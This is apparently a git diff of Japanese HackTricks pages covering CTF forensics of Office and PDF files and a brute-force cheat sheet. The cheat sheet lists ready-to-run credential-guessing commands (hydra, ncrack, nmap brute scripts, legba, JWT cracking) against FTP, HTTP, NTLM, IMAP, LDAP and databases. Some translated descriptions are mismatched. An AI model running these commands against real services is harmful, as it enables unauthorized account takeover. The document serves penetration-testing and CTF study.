|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローしてください
|
||||
- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,53 +6,53 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** または [telegramグループ](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) を **フォロー** してください。
|
||||
- **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** できます。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください**
|
||||
詳細については [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) をチェックしてください。これは要約です:
|
||||
|
||||
Microsoft は多くのオフィス文書形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML(OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的となります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。
|
||||
Microsoft は多くのオフィスドキュメント形式を作成しており、主なタイプは **OLE形式**(RTF、DOC、XLS、PPTなど)と **Office Open XML (OOXML)形式**(DOCX、XLSX、PPTXなど)です。これらの形式にはマクロが含まれることがあり、それによりフィッシングやマルウェアの標的になります。OOXMLファイルはzipコンテナとして構造化されており、解凍してファイルとフォルダの階層、XMLファイルの内容を表示できます。
|
||||
|
||||
OOXMLファイル構造を探るために、ドキュメントを解凍するコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が続いています。
|
||||
OOXMLファイルの構造を探るために、ドキュメントを解凍するコマンドと出力構造が提供されています。これらのファイルにデータを隠す技術が文書化されており、CTFチャレンジ内でのデータの隠蔽に関する革新が示されています。
|
||||
|
||||
分析のために、**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し分析するのに役立ちます。これらのマクロはしばしばマルウェアの配信ベクトルとして機能し、通常は追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Officeを使用してMicrosoft Officeなしで行うことができ、ブレークポイントとウォッチ変数でデバッグが可能です。
|
||||
**oletools** と **OfficeDissector** は、OLEおよびOOXMLドキュメントを調査するための包括的なツールセットを提供しています。これらのツールは、埋め込まれたマクロを特定し、分析するのに役立ちます。これらのマクロは、通常、マルウェアの配信ベクトルとして機能し、追加の悪意のあるペイロードをダウンロードして実行します。VBAマクロの分析は、Libre Officeを使用してMicrosoft Officeを使用せずに行うことができ、ブレークポイントとウォッチ変数でデバッグが可能です。
|
||||
|
||||
**oletools** のインストールと使用は簡単で、pipを使用してインストールするコマンドが提供されています。`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によって、マクロの自動実行がトリガーされます。
|
||||
**oletools** のインストールと使用は簡単で、pipを使用してインストールするためのコマンドが提供され、ドキュメントからマクロを抽出するための手順が示されています。マクロの自動実行は、`AutoOpen`、`AutoExec`、または `Document_Open` などの関数によってトリガーされます。
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**公式PEASS&HackTricksのスウェグ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,27 +6,27 @@
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に参加する💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@hacktricks\_live**(https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**詳細については、[https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)をチェックしてください**
|
||||
**詳細については、次をチェックしてください:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF形式は、データを隠す可能性が高い複雑さで知られており、CTFフォレンジックチャレンジの焦点となっています。プレーンテキスト要素とバイナリオブジェクトを組み合わせ、圧縮されたり暗号化されたりする可能性があり、JavaScriptやFlashなどの言語でスクリプトを含むことができます。PDFの構造を理解するためには、Didier Stevensの[入門資料](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)を参照するか、テキストエディタやOrigamiなどのPDF固有のエディタを使用することができます。
|
||||
|
||||
PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります:
|
||||
PDFの詳細な探索や操作のためには、[qpdf](https://github.com/qpdf/qpdf)や[Origami](https://github.com/mobmewireless/origami-pdf)などのツールが利用可能です。PDF内の隠されたデータは、次のように隠されている可能性があります:
|
||||
|
||||
- 不可視のレイヤー
|
||||
- AdobeのXMPメタデータ形式
|
||||
|
@ -35,7 +35,7 @@ PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[O
|
|||
- 画像の後ろや画像の上にあるテキスト
|
||||
- 非表示のコメント
|
||||
|
||||
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成できます。さらに、PDFが隠されたデータを格納する可能性が非常に広範囲であるため、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていないものの、貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供できます。
|
||||
カスタムPDF分析のためには、[PeepDF](https://github.com/jesparza/peepdf)などのPythonライブラリを使用して、独自の解析スクリプトを作成することができます。さらに、PDFが隠されたデータを保存する可能性が非常に広範囲であるため、PDFのリスクと対策に関するNSAガイドなどのリソースは、元の場所でホストされていなくても貴重な洞察を提供しています。[ガイドのコピー](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf)やAnge Albertiniによる[PDF形式のトリック](https://github.com/corkami/docs/blob/master/PDF/PDF.md)のコレクションは、このトピックに関するさらなる読書を提供しています。
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -43,10 +43,10 @@ PDFの詳細な探索や操作には、[qpdf](https://github.com/qpdf/qpdf)や[O
|
|||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**場合や**PDFでHackTricksをダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **Discordグループ**に参加する💬](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**@hacktricks_live**をフォローする🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **Discordグループ**に参加する💬(https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**🐦で**@hacktricks\_live**(https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **HackTricks**(https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# ブルートフォース - チートシート
|
||||
# Brute Force - チートシート
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -17,14 +17,14 @@ HackTricksをサポートする他の方法:
|
|||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## デフォルトの資格情報
|
||||
|
||||
使用されている技術のデフォルトの資格情報を検索するか、次のリンクを試してください:
|
||||
使用されている技術のデフォルトの資格情報を検索するか、次のリンクを試してみてください:
|
||||
|
||||
* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
|
||||
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
|
||||
|
@ -41,7 +41,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
## **独自の辞書を作成する**
|
||||
|
||||
ターゲットに関する情報をできるだけ見つけ、カスタム辞書を生成します。役立つツール:
|
||||
ターゲットに関する情報をできるだけ多く見つけ、カスタム辞書を生成します。役立つツール:
|
||||
|
||||
### Crunch
|
||||
```bash
|
||||
|
@ -56,7 +56,7 @@ crunch 6 8 -t ,@@^^%%
|
|||
```
|
||||
### Cewl
|
||||
|
||||
Cewl is a tool used to generate custom wordlists by crawling a target's website and extracting unique words. It can be helpful in creating wordlists for brute-forcing attacks.
|
||||
Cewlは、Webサイトから単語リストを生成するためのツールです。これは、Webサイトのテキストを解析し、指定された深さまでリンクをたどり、単語を収集してリスト化します。これにより、ブルートフォース攻撃やパスワードスプレー攻撃で使用するためのカスタムワードリストを作成できます。
|
||||
```bash
|
||||
cewl example.com -m 5 -w words.txt
|
||||
```
|
||||
|
@ -68,7 +68,7 @@ python3 cupp.py -h
|
|||
```
|
||||
### [Wister](https://github.com/cycurity/wister)
|
||||
|
||||
特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるツールであるワードリストジェネレーターツール。
|
||||
特定のターゲットに関して使用するためのユニークで理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるツールであるワードリストジェネレーターツール。
|
||||
```bash
|
||||
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
|
||||
|
||||
|
@ -102,7 +102,7 @@ Finished in 0.920s.
|
|||
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
|
||||
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
|
@ -126,15 +126,21 @@ msf> run
|
|||
```
|
||||
### AJP
|
||||
|
||||
AJP(Apache JServ Protocol)は、Apache Tomcatサーバーとの通信に使用されるプロトコルです。AJPを介してTomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、パスワードやトークンなどの認証情報を破るために使用されます。AJPプロトコルを介してBrute Force攻撃を行うことで、システムへの不正アクセスを試みることができます。
|
||||
AJP(Apache JServ Protocol)は、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用して、Tomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、パスワードやトークンなどの認証情報を破るために使用されます。
|
||||
```bash
|
||||
nmap --script ajp-brute -p 8009 <IP>
|
||||
```
|
||||
## AMQP (ActiveMQ、RabbitMQ、Qpid、JORAMおよびSolace)
|
||||
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
|
||||
|
||||
## AMQP (ActiveMQ、RabbitMQ、Qpid、JORAM、Solace)
|
||||
```bash
|
||||
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
|
||||
```
|
||||
### カサンドラ
|
||||
### Cassandra
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks against Cassandra involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This method is typically used when other avenues of attack have been exhausted. It is important to note that brute force attacks can be time-consuming and resource-intensive, but they can be effective if proper security measures are not in place. Implementing strong password policies, account lockout mechanisms, and multi-factor authentication can help mitigate the risk of a successful brute force attack.
|
||||
```bash
|
||||
nmap --script cassandra-brute -p 9160 <IP>
|
||||
# legba ScyllaDB / Apache Casandra
|
||||
|
@ -142,7 +148,15 @@ legba scylla --username cassandra --password wordlists/passwords.txt --target lo
|
|||
```
|
||||
### CouchDB
|
||||
|
||||
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、`max_document_size`と`max_request_size`の設定を使用します。これらの設定を適切に構成することで、過剰な負荷や悪意のある攻撃からデータベースを保護することができます。
|
||||
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、以下の方法を使用します。
|
||||
|
||||
1. **認証の有効化**: CouchDBには、管理者権限を持つユーザーのみがアクセスできるようにするための認証機能があります。適切な認証を設定することで、不正アクセスを防ぐことができます。
|
||||
|
||||
2. **アクセス制御リスト(ACL)の設定**: CouchDBでは、データベースやドキュメントに対するアクセス権を制御するためのACLを設定することができます。適切なACLを使用することで、不正なアクセスを制限することができます。
|
||||
|
||||
3. **IP制限**: CouchDBは、特定のIPアドレスからのアクセスを制限する機能を提供しています。不正なアクセス元をブロックするために、必要に応じてIP制限を設定することが重要です。
|
||||
|
||||
これらのセキュリティ対策を組み合わせることで、CouchDBのセキュリティを強化し、ブルートフォース攻撃からデータベースを保護することができます。
|
||||
```bash
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_login
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
|
||||
|
@ -155,13 +169,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/word
|
|||
```
|
||||
### Elasticsearch
|
||||
|
||||
### Elasticsearch
|
||||
Elasticsearchは、デフォルトでブルートフォース攻撃に対して脆弱な設定になっていることがあります。デフォルトの設定では、Elasticsearchは外部からのアクセスを許可し、認証なしでクエリを実行できる場合があります。これにより、攻撃者がブルートフォース攻撃を行い、機密データにアクセスする可能性があります。デフォルトの設定を変更し、適切な認証とアクセス制御を実装することが重要です。
|
||||
```
|
||||
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
|
||||
```
|
||||
### FTP
|
||||
|
||||
FTP(File Transfer Protocol)は、ファイルをサーバーとクライアント間で転送するためのプロトコルです。FTPサーバーへの不正アクセスを試みる際には、Brute Force攻撃が一般的に使用されます。Brute Force攻撃は、辞書攻撃やランダムなパスワードの組み合わせを使用して、FTPサーバーにログインするための正しいパスワードを見つけようとします。Brute Force攻撃は、自動化ツールを使用して大量のパスワードを試行することで、成功する可能性を高めます。FTPサーバーのセキュリティを向上させるためには、強力なパスワードポリシーを実装し、アカウントロックアウト機能を有効にすることが重要です。
|
||||
FTP(File Transfer Protocol)は、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへの不正アクセスを試みる際には、Brute Force攻撃が一般的に使用されます。Brute Force攻撃は、辞書攻撃や総当たり攻撃などの手法を使用して、パスワードを推測しようとします。FTPサーバーに対するBrute Force攻撃は、一般的な攻撃手法の1つです。
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ftp
|
||||
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -181,7 +195,14 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
|
|||
```
|
||||
### HTTP - NTLM
|
||||
|
||||
NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をバイパスするために、辞書攻撃や総当たり攻撃を使用することができます。
|
||||
NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をブルートフォース攻撃する場合、以下の手順に従います。
|
||||
|
||||
1. ユーザー名を取得します。
|
||||
2. パスワードリストを作成します。
|
||||
3. パスワードリスト内の各パスワードを使用して、NTLM認証を試行します。
|
||||
4. 正しい組み合わせが見つかるまで繰り返します。
|
||||
|
||||
NTLM認証のブルートフォース攻撃は、パスワードが強力でない場合に効果的です。
|
||||
```bash
|
||||
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
|
||||
|
@ -193,14 +214,14 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl
|
|||
```
|
||||
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
|
||||
|
||||
http**s**の場合、"http-post-form"から"**https-post-form"**に変更する必要があります
|
||||
**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります。
|
||||
```bash
|
||||
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
|
||||
# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||
```
|
||||
### IMAP
|
||||
|
||||
IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It operates over port 143 and allows users to access their email on a remote server. IMAP is often targeted in brute force attacks to gain unauthorized access to email accounts.
|
||||
IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. IMAP allows an email client to access email on the server as if they were stored locally. This protocol is commonly used for receiving emails.
|
||||
```bash
|
||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||
|
@ -209,7 +230,7 @@ legba imap --username user --password data/passwords.txt --target localhost:993
|
|||
```
|
||||
### IRC
|
||||
|
||||
IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースのコミュニケーションを可能にします。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測しようとする攻撃があります。
|
||||
IRC(Internet Relay Chat)は、オープンソースのチャットプロトコルであり、テキストベースの通信を可能にします。IRCサーバーに接続するためには、通常はIRCクライアントが必要です。IRCは、チャットルームや個人間のメッセージングなど、さまざまなコミュニケーション形態に使用されます。IRCネットワーク上でのチャットは、通常、プライベートな情報を共有するためのセキュアな方法ではありません。
|
||||
```bash
|
||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||
```
|
||||
|
@ -221,7 +242,7 @@ nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/va
|
|||
```
|
||||
### JWT
|
||||
|
||||
JWT(JSON Web Token)は、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、ヘッダー、ペイロード、および署名から構成されています。JWTの署名を検証するために、ブルートフォース攻撃が使用されることがあります。
|
||||
JSON Web Tokens(JWT)は、認証情報を安全に転送するためのコンパクトで自己完結型な手段です。JWTは、ヘッダー、ペイロード、および署名の3つのセクションで構成されています。JWTの署名を検証するために、ブルートフォース攻撃を使用することができます。
|
||||
```bash
|
||||
#hashcat
|
||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||
|
@ -246,21 +267,19 @@ jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibm
|
|||
```
|
||||
### LDAP
|
||||
|
||||
LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスにアクセスするためのプロトコルです。LDAPサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードなどの情報を取得することができます。
|
||||
LDAP(Lightweight Directory Access Protocol)は、ディレクトリサービスに対するクライアントサーバープロトコルであり、通常はTCPポート389を使用します。LDAPサーバーに対するBrute Force攻撃は、一般的なユーザー名とパスワードの組み合わせを継続的に試行することで、不正アクセスを試みる手法です。
|
||||
```bash
|
||||
nmap --script ldap-brute -p 389 <IP>
|
||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||
```
|
||||
